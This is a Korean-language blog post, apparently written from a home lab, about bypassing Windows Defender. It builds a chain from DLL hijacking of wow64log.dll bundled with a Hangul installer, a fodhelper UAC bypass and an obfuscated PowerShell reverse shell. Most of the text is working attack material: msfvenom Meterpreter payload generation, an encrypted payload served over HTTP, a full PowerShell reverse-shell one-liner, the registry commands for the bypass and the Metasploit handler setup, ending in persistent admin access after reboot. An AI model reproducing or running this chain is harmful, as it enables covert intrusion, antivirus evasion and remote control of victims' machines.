Security

How to bypass Windows Defender By FilelessPELoader

How to bypass Windows Defender with FileLessPELoader (Meterpreter Reverse Shell)

In this document, the following attack scenarios were covered:

  • UAC Bypass
  • Dll Hijecking
  • Powershell & Invoke-Obfuscation

1. Dll Hijecking

ProcessMonitor로 카카오톡이 실행될때 load 되는 dll을 조사하다 wow64log.dll을 찾았다.
알고보니 이 dll은 각종 프로그램이 실행 될때 호출 되는 dll 이다.
서버에 저장되 있는 hangul 설치파일 (install.exe)을 실행해도 호출된다. :)
문제는 system32 폴더라 파일을 복사 하려면 UAC를 우회 해야 한다.

2. 필요한 file 목록

이 시나리오 에서는 우선 서버에 한글 설치 프로그램이 저장되 있다.
target pc 는 서버에서 설치 프로그램을 로컬로 다운로드 해서 install.exe 를 실행 한다.
이때 설치 프로그램과 함께 배포할 payload 를 준비하자.
파일 리스트는 아래와 같다.

  • a.dll (f2.cpp)

FilelessPELoader로 meterpreter 에 연결 되는 dll 이다.

  • wow64log.dll (wow64log.cpp)

윈도우즈 system32 폴더에서 a.dll 을 실행 한다.

  • l.exe (launch.cpp)

a.dll 을 실행한다.
target pc 에서 install.exe 가 실행될때 l.exe 가 같이 실행 되도록 압축파일을 이용해서 환경을 구성하자.
l.exe은 a.dll 을 첫번째로 실행할때 이용된다.
그 이후에는 system32 폴더의 wow64log.dll을 이용해서 실행한다.

  • l2.exe (copy.cpp)

wow64log.dll 을 system32 폴더로 복사한다.
admin 권한이 필요하기 때문에 UAC 를 우회 해야 한다.

3. compile 명령

Copy
x86_64-w64-mingw32-g++ --static --shared f2.cpp -lwinhttp -o a.dll
Copy
x86_64-w64-mingw32-g++ --static launch.cpp -o l.exe 
Copy
x86_64-w64-mingw32-g++ --static copy.cpp -o l2.exe

4. bin 파일 준비

Copy
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.50.9 lport=8443 -f exe > 8443.exe

8443.exe payload 파일을 암호화 하자.

Copy
python aes.py 8443.exe

key.bin와 cipher.bin 파일이 만들어진다. 각각 1.bin, 2.bin 으로 이름을 변경하자.

Copy
python aes.py 8443.exe
Copy
python -m http.server 8444

5. Powershell Script 준비

이 시나리오 대로 침투하려면 reverse shell 이 2개가 필요하다.
그중 하나인 powershell script 를 준비하자.

Copy
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git

칼리 리눅스에서 power shell 을 실행하자.
위에서 다운로드 한 폴더중 Invoke-Obfuscation 폴더로 들어가자.
github 을 참고해서 아래와 같이 설치하자.

Copy
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md 에서 Powershell 로 들어가자.

두번째 것을 복사하자.

Copy
$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

파일로 저장하자.

powershell 외에 다른 터미널에서 아래 파일을 만든다

Copy
nano a.ps1

주소와 포트 번호를 수정해야 한다.

powershell 로 돌아가자.

Copy
SET SCRIPTPATH /root/ActiveDirectory/a.ps1

AST 를 선택하자.
Copy
AST

ALL 를 선택하자.
Copy
ALL

1 를 선택하자.
Copy
1

난독화 된 payload 를 복사하자.
터미널로 돌아가서 PowerShell script 를 만들자.
Copy
nano a2.ps1

칼리 에서 다음을 실행하자.
Copy
nc -lvnp 80

6. meterpreter 실행

Copy
msfconsole 
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_https
set lhost 192.168.50.9
set lport 8443
exploit

7. 침투 과정과 순서

target pc 에서 피해자가 한글 프로그램의 install.exe 를 실행한다.
l.exe 가 실행 되면 meterpreter 연결이 시작된다.
칼리 meterpreter 에서 power shell 을 실행하고 다음 명령어로 UAC Bypass 를 준비하자.

Copy
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\\Users\\netwa\\Downloads\\l2.exe" -Force

아래 명령어를 실행하면 fodhelper 가 l2.exe을 admin 권한으로 실행해 준다.

Copy
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

이제 wow64log.dll이 system32 폴더로 이동 되었다.
사실 l2.exe는 윈도우 디펜더에 의해 차단 되서 몇번의 수정을 했고 최종 테스트 에서는 우회 했다.

위에서 power shell script 을 이용해서 reverse shell 을 하나 더 얻어오자.
칼리 meterpreter 에서 upload 명령어로 위에 a2.ps1을 target pc 로 전송하자.

Copy
upload "/root/ActiveDirectory/a2.ps1" "C:\\Users\\netwa\\a2.ps1"

칼리 meterpreter 에서 shell 로 들어가서 아래 명령어를 실행하자.
Copy
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\netwa\a2.ps1"

이제 위에 nc 와 연결이 된다.
meterpreter 에서 session 을 kill 하자.
nc power shell 로 가서 install.exe 의 권한을 상승 시키자.
install.exe 의 권한을 상승 시키는 이유는 install.exe를 이용해서 wow64log.dll을 실행하기 위함이다.
아래 명령어로 nc 에서 install.exe 의 권한을 상승 시키고 실행하자.
Copy
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\\Users\\netwa\\Downloads\\hangul\\install.exe" 
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

install.exe 의 권한을 상승 시킨후 실행하면 wow64log.dll 이 호출 된다.
하지만 무슨 이유인지 a.dll이 실행되지 않는다. lol
여기서 테스트를 많이 했는데 이유를 찾지 못했다.
하지만 윈도우를 재부팅 하면 재부팅 할때마다 칼리 meterpreter 연결이 됬고 권한은 admin 이었다. :)

Reference